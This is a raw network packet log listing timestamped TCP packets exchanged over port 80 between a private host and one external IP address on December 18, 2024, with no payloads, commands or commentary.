Dec 18, 2024 14:08:06.437654018 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.437794924 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.438575029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.438622952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.438772917 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.439513922 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.439578056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.439596891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.440498114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.440519094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.440573931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.441370010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.441421986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.441447020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.442297935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.442357063 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.442395926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.443485022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.443526983 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.443591118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.444401979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.444456100 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.444456100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.445125103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.445168972 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.445205927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.446048975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.446101904 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.446137905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.447150946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.447248936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.447304964 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.447946072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.448000908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.448033094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.448988914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.449083090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.449121952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.449744940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.449786901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.449860096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.450738907 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.450845003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.450880051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.451689959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.451735020 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.451767921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.452563047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.452668905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.452682018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.453540087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.453583956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.453645945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.454473019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.454504967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.454523087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.455408096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.455475092 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.455524921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.456443071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.456480026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.456497908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.457331896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.457422972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.457467079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.458296061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.458302021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.458359957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.459127903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.459187984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.459321022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.460068941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.460117102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.460139036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.461060047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.461127043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.461210966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.462004900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.462064028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.462095976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.462860107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.462897062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.462969065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.463804960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.463862896 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.464005947 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.464731932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.464768887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.464848995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.465738058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.465754986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.465787888 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.466590881 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.466638088 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.466711044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.467556953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.467570066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.467684031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.468539000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.468552113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.468597889 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.469387054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.469466925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.469497919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.470375061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.470457077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.470463037 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.471299887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.471364975 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.471431017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.472223043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.472265959 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.472302914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.473494053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.473563910 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.473599911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.474430084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.474474907 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.474498034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.475052118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.475097895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.475172043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.475966930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.476011992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.476051092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.530816078 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.617733955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.617754936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.617769003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.617777109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.617846012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.618046045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.618158102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.618396044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.619153976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.619172096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.619266033 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.623363018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.623435020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.623495102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.623704910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.623821974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.623873949 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.624922037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.625401020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.625490904 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.626446962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.626486063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.626498938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.626596928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.626652956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.626683950 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.627655029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.627760887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.627940893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.628783941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.628832102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.628840923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.629859924 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.629904985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.630220890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.630899906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.630951881 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.631021023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.631580114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.631623983 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.631714106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.633934021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.633959055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.634017944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.634269953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.634318113 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.634447098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.634520054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.634567022 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.634670019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.635672092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.635745049 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.635826111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.637701035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.637721062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.637734890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.637756109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.637783051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.638442993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.638489962 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.638628960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.639332056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.639369011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.639372110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.640392065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.640456915 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.640614033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.640902996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.640925884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.640952110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.641524076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.641592026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.641594887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.642512083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.642553091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.642575026 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.643553019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.643599033 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.643618107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.644509077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.644524097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.644557953 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.645343065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.645401001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.645406008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.646167994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.646262884 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.646294117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.647169113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.647208929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.647327900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.648180962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.648261070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.648273945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.648993015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.649055958 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.649111986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.649971962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.650002003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.650042057 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.650907993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.650964022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.650981903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.651910067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.652014017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.652020931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.652715921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.652756929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.652987957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.653647900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.653688908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.653788090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.654599905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.654695988 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.654742956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.655581951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.655632973 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.655699015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.656474113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.656517029 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.656702042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.657569885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.657583952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.657614946 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.658724070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.658770084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.658801079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.660012007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.660052061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.660136938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.661736965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.661777973 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.661855936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.662777901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.662808895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.662815094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.663415909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.663480043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.663769007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.664062023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.664104939 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.664176941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.664896965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.664940119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.664989948 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.665534019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.665575027 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.665703058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.666315079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.666357040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.666371107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.667088032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.667100906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.667125940 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.667711020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.667778969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.667805910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.668617964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.668690920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.914985895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915004969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915018082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915024042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915030956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915044069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915050983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915056944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915064096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915075064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915100098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915118933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915132999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915146112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915158987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915162086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915173054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915178061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915186882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915199041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915203094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915213108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915225983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915235043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915240049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915251970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915263891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915272951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915277004 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915286064 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915297031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915302992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915326118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915330887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915338993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915353060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915368080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915388107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915390968 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915401936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915414095 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915414095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915429115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915442944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915452957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915457010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915469885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915482998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915486097 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915497065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915503025 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915513039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915520906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:06.915525913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:06.915538073 CET	80	49780	176.113.115.178	192.168.2.9
